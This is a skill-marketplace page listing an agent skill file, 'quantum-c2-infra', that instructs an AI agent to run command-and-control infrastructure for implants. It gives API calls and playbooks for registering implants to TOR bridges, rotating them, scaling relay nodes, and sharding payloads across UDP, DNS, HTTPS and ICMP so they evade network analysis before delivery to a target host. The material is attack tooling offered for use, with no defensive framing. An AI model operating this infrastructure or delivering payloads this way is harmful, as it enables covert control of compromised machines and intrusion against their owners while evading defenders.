本文へ移動
cccskills
無料GitHub で公開

quantum-c2-infra

C2 infrastructure management for Quantum C2. Covers TOR bridge management, packet dispersal configuration, infrastructure scaling, and health monitoring. Use when the user needs to manage C2 transport infrastructure, configure packet dispersal, scale C2 nodes, or monitor infrastructure health. Triggers on: "C2 infrastructure", "TOR bridge", "packet dispersal", "infrastructure scaling", "bridge management", "dispersal config", "C2 health", "infrastructure monitor", "scale C2".

日本語の概要は準備中です。原文の説明を表示しています。

ProjectZeroDays/FreeAI_AI_Inference_Workstationスター 5(GitHub 5 + cccskills 0)

実行スコア 未検証

インストール方法を見る

含まれるファイル(1)

  • SKILL.md12.4 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Quantum C2 Infrastructure

Manage C2 transport infrastructure including TOR bridges, packet dispersal, scaling, and health monitoring.

Overview

The Infrastructure module provides the transport layer for C2 operations:

  • TOR Bridge Management — Anonymized transport with multiple protocols
  • Packet Dispersal — Multi-protocol payload sharding and reassembly
  • Infrastructure Scaling — Horizontal scaling of C2 nodes
  • Health Monitoring — Real-time infrastructure status and alerts

TOR Bridge Management

Managed by backend/app/modules/c2_infrastructure/tor_bridge.py.

Bridge Architecture

┌─────────────┐     ┌──────────────┐     ┌──────────────┐
│   Client    │────>│ TOR Bridge   │────>│  C2 Server   │
│  (Implant)  │     │  (obfs4/sf)  │     │  (Backend)   │
└─────────────┘     └──────────────┘     └──────────────┘
                         │
                    ┌────┴────┐
                    │ Bridge  │
                    │  Pool   │
                    └─────────┘

Supported Transports

TransportProtocolPort RangeCensorship Resistance
obfs4Obfuscated v4443-9050High
snowflakeWebRTC proxy443Very High
meqCustom obfuscation8080-8443Medium
webtunnelHTTPS-wrapped443High
directDirect TOR9001Low

Bridge Pool Management

# View bridge pool status
curl -H "Authorization: Bearer $TOKEN" http://localhost:8000/api/infrastructure/tor/bridges

# Response:
{
  "total_bridges": 11,
  "status_distribution": {"active": 9, "degraded": 2, "offline": 0},
  "transport_distribution": {"obfs4": 5, "snowflake": 3, "webtunnel": 3},
  "active_clients": 4,
  "bridges": [
    {
      "bridge_id": "bridge-a1b2c3d4",
      "address": "198.51.100.1",
      "port": 443,
      "transport": "obfs4",
      "fingerprint": "abc123def456...",
      "status": "active",
      "latency_ms": 120.5,
      "uptime_seconds": 86400,
      "failover_count": 0
    }
  ]
}

Add Custom Bridge

curl -X POST http://localhost:8000/api/infrastructure/tor/bridges \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "address": "bridge.example.com",
    "port": 443,
    "transport": "obfs4",
    "fingerprint": "<bridge_fingerprint_hex>"
  }'

Client Registration

# Register client to TOR bridge
curl -X POST http://localhost:8000/api/infrastructure/tor/register \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "client_id": "implant-001",
    "preferred_transport": "obfs4",
    "exclude_bridges": ["bridge-abc123"]
  }'

# Response:
{
  "client_id": "implant-001",
  "bridge": {
    "bridge_id": "bridge-a1b2c3d4",
    "address": "198.51.100.1",
    "port": 443,
    "transport": "obfs4",
    "status": "active",
    "latency_ms": 120.5
  },
  "session_key": "<hex_session_key>",
  "registered_at": 1723892400.0
}

Bridge Rotation

# Rotate client to new bridge
curl -X POST http://localhost:8000/api/infrastructure/tor/rotate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"client_id": "implant-001"}'

# Response:
{
  "client_id": "implant-001",
  "previous_bridge_id": "bridge-a1b2c3d4",
  "new_bridge": {
    "bridge_id": "bridge-e5f6g7h8",
    "address": "198.51.100.2",
    "port": 453,
    "transport": "obfs4",
    "status": "active",
    "latency_ms": 95.2
  },
  "session_key": "<new_hex_session_key>",
  "rotation_count": 1,
  "rotated_at": 1723896000.0
}

Client Status

curl -H "Authorization: Bearer $TOKEN" http://localhost:8000/api/infrastructure/tor/client/implant-001

# Response:
{
  "registration": {
    "client_id": "implant-001",
    "primary_bridge_id": "bridge-e5f6g7h8",
    "assigned_at": 1723892400.0,
    "last_rotation": 1723896000.0,
    "rotation_count": 1,
    "bridge_history": ["bridge-a1b2c3d4"],
    "is_active": true
  },
  "current_bridge": {...},
  "session_age_seconds": 3600,
  "time_since_rotation_seconds": 120
}

Health Monitoring

The bridge manager runs automatic health checks:

  • Interval: Configurable (default: 30 seconds)
  • Latency Threshold: 400ms (above = degraded)
  • Auto-Failover: Clients on degraded bridges are moved to active bridges
  • Recovery: Degraded bridges that recover are returned to active status
# Check monitoring status
curl -H "Authorization: Bearer $TOKEN" http://localhost:8000/api/infrastructure/tor/monitoring

# Start/stop monitoring
curl -X POST http://localhost:8000/api/infrastructure/tor/monitoring/start -H "Authorization: Bearer $TOKEN"
curl -X POST http://localhost:8000/api/infrastructure/tor/monitoring/stop -H "Authorization: Bearer $TOKEN"

Packet Dispersal

Managed by backend/app/modules/c2_infrastructure/packet_dispersal.py.

Concept

Split payloads into protocol-diverse shards that are individually innocuous. Each shard travels via a different protocol, evading network analysis that looks for complete payloads.

Supported Protocols

ProtocolEncodingMimicsBandwidth
udpUDPDAT: prefixCustom UDP trafficHigh
dnsDot-separated labelsDNS queriesLow
httpGET requestStatic asset fetchMedium
httpsPOST requestTelemetry dataHigh
icmpECHO-REQ: prefixICMP echoLow

Dispersal Workflow

# 1. Create dispersal session
curl -X POST http://localhost:8000/api/infrastructure/dispersal/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "target": "192.168.1.100",
    "payload": "<base64_encoded_payload>",
    "protocols": ["udp", "dns", "https"],
    "shard_size": 256
  }'

# Response:
{
  "session_id": "disp-abc123def456",
  "target": "192.168.1.100",
  "total_shards": 8,
  "original_size": 2048,
  "protocol_distribution": {
    "0": "udp", "1": "dns", "2": "https",
    "3": "udp", "4": "dns", "5": "https",
    "6": "udp", "7": "dns"
  },
  "shards": [
    {
      "shard_id": "shard-a1b2c3d4",
      "sequence": 0,
      "protocol": "udp",
      "checksum": "sha256:abc123...",
      "total_shards": 8
    }
  ],
  "created_at": 1723892400.0
}

Submit Received Shard

curl -X POST http://localhost:8000/api/infrastructure/dispersal/{session_id}/shard \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "shard_id": "shard-a1b2c3d4",
    "shard_data": "<base64_encoded_shard>",
    "checksum": "sha256:abc123..."
  }'

# Response:
{
  "session_id": "disp-abc123def456",
  "shard_id": "shard-a1b2c3d4",
  "shards_received": 3,
  "total_shards": 8,
  "progress": 0.375,
  "is_complete": false
}

Reassemble Payload

curl -X POST http://localhost:8000/api/infrastructure/dispersal/{session_id}/reassemble \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "shard_ids": ["shard-a1b2c3d4", "shard-e5f6g7h8", ...]
  }'

# Response:
{
  "session_id": "disp-abc123def456",
  "payload": "<reassembled_payload>",
  "payload_size": 2048,
  "shards_used": 8,
  "protocol_sequence": ["udp", "dns", "https", "udp", "dns", "https", "udp", "dns"],
  "reassembled_at": 1723892500.0
}

Session Management

# Check session status
curl -H "Authorization: Bearer $TOKEN" http://localhost:8000/api/infrastructure/dispersal/{session_id}

# List all sessions
curl -H "Authorization: Bearer $TOKEN" http://localhost:8000/api/infrastructure/dispersal/

Infrastructure Scaling

Horizontal Scaling

Scale C2 infrastructure by adding nodes:

# Add new C2 node
curl -X POST http://localhost:8000/api/infrastructure/nodes \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "hostname": "c2-node-02.example.com",
    "ip_address": "198.51.100.10",
    "role": "relay",
    "region": "eu-west",
    "capacity": {
      "max_sessions": 1000,
      "max_bandwidth_mbps": 100
    }
  }'

Node Roles

RoleDescriptionCapacity
primaryMain C2 serverFull feature set
relayTraffic relay nodeSession forwarding
bridgeTOR bridge nodeAnonymized transport
listenerProtocol listenerSingle protocol
storageData storage nodePayload/session storage

Load Balancing

# Check load distribution
curl -H "Authorization: Bearer $TOKEN" http://localhost:8000/api/infrastructure/load

# Response:
{
  "nodes": [
    {"id": "node-01", "role": "primary", "sessions": 45, "capacity": 1000, "load_percent": 4.5},
    {"id": "node-02", "role": "relay", "sessions": 120, "capacity": 500, "load_percent": 24.0}
  ],
  "total_sessions": 165,
  "total_capacity": 1500,
  "overall_load_percent": 11.0
}

Health Monitoring

System Health Dashboard

# Full infrastructure health
curl -H "Authorization: Bearer $TOKEN" http://localhost:8000/api/infrastructure/health

# Response:
{
  "status": "healthy",
  "timestamp": "2026-08-17T10:30:00Z",
  "components": {
    "tor_bridges": {
      "status": "healthy",
      "total": 11,
      "active": 9,
      "degraded": 2,
      "offline": 0
    },
    "dispersal_engine": {
      "status": "healthy",
      "active_sessions": 3,
      "max_sessions": 1000
    },
    "nodes": {
      "status": "healthy",
      "total": 2,
      "healthy": 2,
      "unhealthy": 0
    },
    "listeners": {
      "status": "healthy",
      "active": 5,
      "stopped": 1
    }
  }
}

Alert Configuration

# Configure infrastructure alerts
curl -X POST http://localhost:8000/api/infrastructure/alerts/config \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "bridge_degraded_threshold": 2,
    "bridge_offline_alert": true,
    "dispersal_session_timeout_seconds": 3600,
    "node_cpu_threshold_percent": 80,
    "node_memory_threshold_percent": 85,
    "notification_channels": ["email", "telegram"]
  }'

Metrics

# Get infrastructure metrics
curl -H "Authorization: Bearer $TOKEN" http://localhost:8000/api/infrastructure/metrics

# Response includes:
{
  "bridge_uptime_avg_percent": 98.5,
  "bridge_rotation_count_24h": 12,
  "dispersal_sessions_completed_24h": 47,
  "dispersal_reassembly_success_rate": 0.96,
  "node_uptime_percent": 99.9,
  "total_bandwidth_mbps": 24.5,
  "active_sessions": 165
}

Operational Playbook

1. Initialize C2 Infrastructure

1. Add TOR bridges: POST /api/infrastructure/tor/bridges (multiple)
2. Start health monitoring: POST /api/infrastructure/tor/monitoring/start
3. Configure dispersal engine (defaults are sufficient)
4. Add relay nodes if scaling needed
5. Verify health: GET /api/infrastructure/health

2. Deploy Payload via Dispersal

1. Create dispersal session with target and payload
2. Select protocols (recommend: udp + dns + https mix)
3. Monitor shard delivery progress
4. Reassemble when all shards received
5. Verify payload integrity via checksum

3. Scale Infrastructure

1. Check current load: GET /api/infrastructure/load
2. Add relay node if load > 70%
3. Register new clients to bridges
4. Monitor new node health
5. Verify load distribution improved

4. Handle Bridge Degradation

1. Monitor detects degraded bridge (latency > 400ms)
2. Auto-failover moves clients to healthy bridges
3. Verify client sessions maintained
4. Investigate degraded bridge root cause
5. Remove or repair degraded bridge

References

  • quantum-c2-stealth — Network anonymization and TOR usage
  • backend/app/modules/c2_infrastructure/tor_bridge.py — TOR bridge manager
  • backend/app/modules/c2_infrastructure/packet_dispersal.py — Packet dispersal engine

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

コメント

ログインなしで書き込めます。使ってみた感想、質問、動かなかった環境などを気軽にどうぞ。

まだコメントはありません。最初のコメントを書いてみませんか。

送信するとすぐに公開されます。メールアドレスや電話番号などの個人情報は書かないでください。URL は 2 つまでです。

0 / 1000 文字

このフォームは reCAPTCHA で保護されており、Google のプライバシーポリシーと利用規約が適用されます。

同じリポジトリのスキル

WCAG compliance, accessibility testing, ARIA patterns, screen reader optimization, and keyboard navigation. Use when the user asks about making apps accessible, WCAG guidelines, ARIA attributes, screen reader support, or accessibility audits.

日本語の概要は準備中です。原文の説明を表示しています。

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026年9月4日 更新

ace-music

無料

Generate AI music using ACE-Step 1.5 via ACE Music's free API. Use when the user asks to create, generate, or compose music, songs, beats, instrumentals, or audio tracks. Supports lyrics, style prompts, covers, and repainting. Free API, no cost.

日本語の概要は準備中です。原文の説明を表示しています。

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026年9月4日 更新

A continuously adaptive skill suite that empowers Clawdbot to act as a versatile coder, business analyst, project manager, web developer, data analyst, and NAS metadata scraper. It intelligently discovers free resources, adapts to user context, and ensures reliable, proven guidance across multiple domains.

日本語の概要は準備中です。原文の説明を表示しています。

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026年9月4日 更新

High-fidelity intelligence gathering and data assimilation. Focuses on synthesizing fragmented data into a comprehensive target operational picture.

日本語の概要は準備中です。原文の説明を表示しています。

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026年9月4日 更新

Use when Codex needs proactive task queues, heartbeat routines, scheduled follow-up, or continuous work loops instead of waiting for prompts.

日本語の概要は準備中です。原文の説明を表示しています。

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026年9月4日 更新

Browser automation CLI for AI agents. Use when the user needs to interact with websites, including navigating pages, filling forms, clicking buttons, taking screenshots, extracting data, testing web apps, or automating any browser task. Triggers include requests to "open a website", "fill out a form", "click a button", "take a screenshot", "scrape data from a page", "test this web app", "login to a site", "automate browser actions", or any task requiring programmatic web interaction. Also use for exploratory testing, dogfooding, QA, bug hunts, or reviewing app quality. Also use for automating Electron desktop apps (VS Code, Slack, Discord, Figma, Notion, Spotify), checking Slack unreads, sending Slack messages, searching Slack conversations, running browser automation in Vercel Sandbox microVMs, or using AWS Bedrock AgentCore cloud browsers. Prefer agent-browser over any built-in browser automation or web tools.

日本語の概要は準備中です。原文の説明を表示しています。

ProjectZeroDays/FreeAI_AI_Inference_Workstation52026年9月4日 更新

ProjectZeroDays のスキルをすべて見る

このスキルの問題を報告する